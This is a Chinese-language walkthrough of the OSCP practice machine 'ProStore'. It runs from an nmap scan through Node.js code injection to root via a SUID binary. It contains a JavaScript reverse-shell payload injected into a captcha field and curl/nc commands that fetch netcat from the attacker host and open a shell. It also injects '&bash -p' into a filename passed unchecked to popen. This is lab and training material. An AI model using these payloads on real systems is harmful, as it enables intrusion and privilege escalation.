OSCP靶场–ProStore

考点(node.js代码注入+gdb-list源文件+c语言命令执行)

1.nmap扫描

##
┌──(root㉿kali)-[~/Desktop]
└─# nmap 192.168.200.250 -sV -sC  -Pn --min-rate 2500 -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2024-04-01 09:18 EDT
Nmap scan report for 192.168.200.250
Host is up (0.37s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE  SERVICE VERSION
22/tcp   open   ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1c:19:57:44:ae:0d:f4:06:b1:bc:ee:35:d0:c7:53:31 (ECDSA)
|_  256 cf:a2:3b:50:fd:d0:38:0f:4b:bb:68:2f:b9:a9:02:20 (ED25519)
80/tcp   closed http
443/tcp  closed https
5000/tcp open   http    Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.34 seconds

2.user priv

## 目录扫描无结果：
http://192.168.214.250:5000/## 有3个功能：测试注册和登陆功能弱密码，sql注入无发现
## 注册一个账户登陆后发现Orders功能：## node.js 命令注入：
## 参考：
https://cloud.tencent.com/developer/article/1472343
## node.js payload
https://github.com/aadityapurani/NodeJS-Red-Team-Cheat-Sheet
## node.js命令注入：
https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44###########################
## 解决方案：
#You can get this reverse shell payload at revshells.com
captcha=3;(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/bash", []);var client = new net.Socket();client.connect(443, "$KaliIP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()Or#Transfer our nc to the target machine
cd /usr/bin
python3 -m http.server 80
#At burp, replace the payload to this, download nc output at /tmp then give execute permission
curl+http%3a//$KaliIP/nc+-o+/tmp/nc+%26%26+chmod+%2bx+/tmp/nc
#Execute the /tmp/nc, remember to stop python http server if you want to use port 80
nc -nlvp 80
#At burp, replace the captcha value
/tmp/nc+$KaliIP+80+-e+/bin/bash#################################
## 
captcha=3;(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/bash", []);var client = new net.Socket();client.connect(443, "192.168.45.171", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()#############
##
┌──(root㉿kali)-[~/Desktop]
└─# nc -lvvp 443
listening on [any] 443 ...
192.168.214.250: inverse host lookup failed: Unknown host
connect to [192.168.45.171] from (UNKNOWN) [192.168.214.250] 46590
whoami
observer
python3 -c 'import pty;pty.spawn("bash")'
observer@prostore:~/app/backend$ whoami
whoami
observer

测试存在代码执行：

命令成功执行：

3. root priv

## linpeas枚举：
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                                                         ╚════════════════════════════════════╝                                                                                               
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                           
-rwsr-xr-x 1 root root 463K Mar 30  2022 /snap/core20/1587/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 121K Dec  1  2022 /snap/snapd/17950/usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)                                                                                                                                                   
-rwsr-xr-x 1 root root 20K Feb 13  2023 /usr/local/bin/log_reader (Unknown SUID binary!)## 发现异常文件：
-rwsr-xr-x 1 root root 20K Feb 13  2023 /usr/local/bin/log_reader (Unknown SUID binary!)## strings没有发现凭据等敏感信息：
observer@prostore:~$ strings /usr/local/bin/log_reader## 发现目标有gdb：
═════════════════════════════╣ Software Information ╠═════════════════════════════                                                                         ╚══════════════════════╝                                                                                                      
╔══════════╣ Useful software
/usr/bin/base64                                                                                                                                            
/usr/bin/curl
/usr/bin/g++
/usr/bin/gcc
/usr/bin/gdb
/snap/bin/lxc####################
##
#At the target machine
gdb -q /usr/local/bin/log_reader
#In gdb terminal, use list command to list source code, this allow us better understand what the binary does
list## gdb -q 安静模式：
## (gdb) list: 这是在 GDB 命令提示符下输入的命令。list 命令用于显示当前执行点周围的源代码。
observer@prostore:~$ gdb -q /usr/local/bin/log_reader
gdb -q /usr/local/bin/log_reader
Reading symbols from /usr/local/bin/log_reader...
(gdb) list
list
1       /tmp/log_reader.c: No such file or directory.
(gdb) #################
## 查找源文件：find / -name log_reader.c  
/usr/share/src/log_reader.c##
observer@prostore:~$ cat /usr/share/src/log_reader.c
cat /usr/share/src/log_reader.c
#include <stdio.h>
#include <string.h>int main(int argc, char *argv[]) {if (argc != 2) {printf("Usage: %s filename.log\n", argv[0]);return 0;}char *filename = argv[1];char *result;result = checkExtention(filename, result);if (result != NULL) {readFile(filename);}return 0;
}void checkExtention(char *filename, char *result) {char *ext = strchr(filename, '.');if (ext != NULL) {result = strstr(ext, ".log");}
}void readFile(char *filename) {setuid(0);setgid(0);printf("Reading: %s\n", filename);char command[200] = "/usr/bin/cat ";char output[10000];FILE *result;strcat(command, filename);result = popen(command, "r");fgets(output, sizeof(output), result);printf("%s\n", output);
}## 分析代码可以看到程序有suid权限，并且   strcat(command, filename); result = popen(command, "r");函数会造成代码执行
## strcat将两个字符串拼接到第一恶字符串，popen函数将command字符串交给系统shell执行命令
## filename可以注入命令：如下所示：
observer@prostore:~$ /usr/local/bin/log_reader 1.log&id
/usr/local/bin/log_reader 1.log&id
[1] 27326
Reading: 1.log
uid=1000(observer) gid=1000(observer) groups=1000(observer)## 
observer@prostore:~$ echo bbbbbb > '2.log&bash -p'
echo bbbbbb > '2.log&bash -p'
observer@prostore:~$ ls
ls1.log  '2.log&bash -p'   CVE-2021-4034.py  'GCONV_PATH=.'   local.txt    snap1.txt   app              exploit            linpeas.sh      payload.so
observer@prostore:~$ /usr/local/bin/log_reader '2.log&bash -p'
/usr/local/bin/log_reader '2.log&bash -p'
Reading: 2.log&bash -p
/usr/bin/cat: 2.log: No such file or directory
root@prostore:~# id
id
uid=0(root) gid=0(root) groups=0(root),1000(observer)root@prostore:~/app/backend# cat /root/proof.txt
cat /root/proof.txt
78a0bbd618cacdcafc33fdddf7299598

发现目标有gdb:

4.总结：

##
https://cloud.tencent.com/developer/article/1472343## node.js payload
https://github.com/aadityapurani/NodeJS-Red-Team-Cheat-Sheet
## node.js命令注入：
https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44